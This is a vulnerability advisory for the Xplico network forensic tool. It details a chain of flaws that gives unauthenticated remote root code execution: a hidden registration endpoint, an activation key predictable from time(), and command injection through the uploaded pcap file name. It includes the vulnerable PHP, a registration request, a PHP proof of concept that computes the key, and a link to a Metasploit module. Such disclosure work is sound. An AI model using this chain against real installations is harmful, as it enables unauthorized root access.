The goal of Xplico is extract from an internet traffic capture the applications data contained. For example, from a pcap file Xplico extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. Xplico isn’t a network protocol analyzer. Xplico is an open source Network Forensic Analysis Tool (NFAT).



Advisory Informations

Remotely Exploitable: Yes

Authentication Required: NO

Vendor URL: www.xplico.org

CVSSv3 Score: 9.0 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H/E:H/RL:U)

Date of found: 31 Oct 2017

Technical Details

We identified three different vulnerability. Combination of these three vulnerability leadto unauthenticated remote root code execution vulnerability.

Vulnerability #1 – Hidden User Registration Feature

There is a hidden end-point at inside of the Xplico that allow anyone to create a new user. You can access this registration form by visiting following URL.

http://<ip_address>:9876/users/register

Vulnerability #2 – Weak Randomization Algorithm used during Activation Code Generation

Once the user created through /users/register endpoint. This user must be activated through activation e-mail.

if ($this->Group->save($this->request->data)) { $this->request->data['User']['password'] = md5($this->request->data['User']['password']); $this->request->data['User']['em_key'] = md5($this->request->data['User']['email'].$this->request->data['User']['password'].time()); $gid = $this->Group->getID(); $this->request->data['User']['group_id'] = $gid; $this->User->create(); if ($this->User->save($this->request->data)) { if (1) { // send email to confirm registration mail($this->request->data['User']['email'], "Xplico - Account Activation Request", "To confirm click the link below

http://demo.xplico.org/users/registerConfirm/".$this->request->data['User']['em_key']."

", "From: [email protected]"); $this->Session->setFlash(__('To complete registration wait the email')); } else { $this->Session->setFlash(__('Registration Completed')); $this->User->saveField('em_checked', 1); } $this->redirect('/users/index'); } else { $this->Group->delete($gid); $this->Session->setFlash(__('There was a problem saving this information')); } }

Activation code of the user stored at em_key field of the database. And then Xplico try to send e-mail that contains this code.

Unfortunately, this e-mail probably not gonna reach to the given e-mail address on most of the installation. But there is an easy way to calculate exactly same value without having e-mail!

md5($this->request->data['User']['email'].$this->request->data['User']['password'].time());

Look closer to the above code where you will see md5 function call for em_key generation.

$this->request->data['User']['email'] : It’s an user input. We know that value.

$this->request->data['User']['password'] :It’s another user input. We know that value too.

time() : This function return current time as a unixtime format. But it does’nt contains miliseconds! So once we recieve a http response from server, we can look at the Date header and calculate exact value as long as execution finished within 1 second.

Here is the http POST request to the user register endpoint. Red colored boxes Show email and password fields being used for em_key generation.

POST /users/register HTTP/1.1 Host: 12.0.0.41:9876 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 338 Upgrade-Insecure-Requests: 1 _method=POST&data[_Token][key]=a84ad2730fdd215f7795a2cf14feb8c2788c6ff5d2d1d8e839736cb4626ce48c1b63ee6c798cd1a6de15f88314dd39f2a1fdf10cbf412c37eda882dfb0120c97&data[User][email][email protected]&data[User][username]=hacker&data[User][password]=123456&data[_Token][fields]=57a700573f4839c45778a5dee8b04184f40c6481:&data[_Token][unlocked]=

Here is the http response from the end-point. It redirect us back to the login page. If that response-response cycle completed within 1 second, that Date value must be same with time() function call result during em_key generation.

HTTP/1.1 302 Found Date: Tue, 31 Oct 2017 08:33:01 GMT Server: Apache/2.4.7 (Ubuntu) X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000; include Subdomains; X-Powered-By: PHP/5.5.9-1ubuntu4.22 Location: http://12.0.0.41:9876/users/index X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Here is the small PoC code for em_key calculation without receving any e-mail.

<?php $email = "[email protected]"; $password = "123456"; $token = md5($email.md5($password).strtotime("Tue, 31 Oct 2017 08:33:01 GMT")); echo $token;

Vulnerability #3 – Authenticated Command Injection

One of the feature of the Xplico is related to the parsing PCAP files. You can upload pcap file through following module. This module is password protected.

Once pcap file uploaded, following operating system command will be executed.

sh –c md5sum “/opt/xplico/pol_1/sol_1/new/[NAME_OF_PCAP_FILE]” > /tmp/dema_hash.txt

So file name (which is directly taken from user input) will be used at inside of above command. By using $() or “ trick for filename, we can execute our own operating system commands.

Metasploit Module

Here is the metasploit module that automates all steps together.

https://github.com/rapid7/metasploit-framework/pull/9206



Mitigation Timeline

We’ve found these vulnerabilities during security review of SecurityOnion product. For that reason, we did get in touch with them.